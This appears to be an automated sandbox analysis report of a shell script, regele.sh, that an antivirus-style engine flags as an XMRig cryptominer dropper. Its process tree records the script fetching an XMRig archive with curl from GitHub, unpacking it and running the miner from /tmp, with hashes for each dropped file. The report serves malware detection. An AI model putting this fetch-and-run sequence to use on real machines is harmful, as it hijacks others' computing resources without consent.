Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    10/04/2025, 04:55

General

  • Target

    regele.sh

  • Size

    630B

  • MD5

    4abbca2cbf6028e552f2076c039f5760

  • SHA1

    c29ce9227290d376e70d1ca1ec32e77b95f0c230

  • SHA256

    18233feed3f3933b85e713b8248f627c120085ed54059727f22524eee5e4ee05

  • SHA512

    5c3d4aba59c78c56c4d07b282e25f57482e94d1a5856e17823461397a7cab6b8ad5bc7f388eeb2249b2f104a1d00c0ef57ece35990120e77825d6a02c31debc4

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 22 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 7 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/regele.sh
    /tmp/regele.sh
    1⤵
    • Executes dropped EXE
    PID:1387
    • /usr/bin/curl
      curl -LO https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz
      2⤵
      • Writes file to tmp directory
      PID:1388
    • /usr/bin/tar
      tar -xf xmrig-6.21.0-linux-x64.tar.gz
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1430
      • /usr/local/sbin/gzip
        gzip -d
        3⤵
          PID:1431
        • /usr/local/bin/gzip
          gzip -d
          3⤵
            PID:1431
          • /usr/sbin/gzip
            gzip -d
            3⤵
              PID:1431
            • /usr/bin/gzip
              gzip -d
              3⤵
                PID:1431
            • /tmp/xmrig-6.21.0/xmrig
              2⤵
              • Checks hardware identifiers (DMI)
              • Reads hardware information
              • Checks CPU configuration
              • Reads CPU attributes
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1432

          Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/xmrig-6.21.0-linux-x64.tar.gz

            Filesize

            3.4MB

            MD5

            9dce7e18281721dfcac5336501edf1f9

            SHA1

            ce0e66d903639e185b3e2700253eb49fa410122b

            SHA256

            7662ccbd97f0b579e9faf025b9872dc20759a791b572946aec247c12334e0d3f

            SHA512

            8d0621bc362b632951b5a067b4894523b15c07d5c1638bcf544be3fc2f1014f8612da02d20bedd4a209012cdbcd5dce90d18ddd92f38a299a1ac24eddae2ecbd

          • /tmp/xmrig-6.21.0/SHA256SUMS

            Filesize

            150B

            MD5

            4b1be200fc3721e0b9823defce7f54c8

            SHA1

            fa39e968a868247912308fcfeb2d73240fa67602

            SHA256

            7d619ce59ab5ac3ce599499798f42c7a0c3b4b3814a99904dc26d9b7e0498ae8

            SHA512

            4467cf578d11decbdfc16d1f756d4e3362a34d5cd614b00bdfca75c7c24b371292cea853081dc6321e2b75fd3918dd4e2465c4b1af3086d1be230ecdc97dd7b6

          • /tmp/xmrig-6.21.0/config.json

            Filesize

            2KB

            MD5

            66f38c96a4901e7b345787c447842b3e

            SHA1

            2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

            SHA256

            2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

            SHA512

            71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

          • /tmp/xmrig-6.21.0/xmrig

            Filesize

            8.5MB

            MD5

            4303f942050b2b940a08b0e2d87ca617

            SHA1

            daddea5b10cd6eb5f28d818d7bc12ab6e94eff03

            SHA256

            e5c65a499c853cf434b0885dd01f29983d82daf714b4743f8102b4700a273bfc

            SHA512

            04bcef3017680e0d184bcf2fc9b2ce030880cacb6deac8b46fc36558862d85487c3b7e35025d3eee121fb2f2b87d54150802d99a30913f9eb8e44ce35c1cc753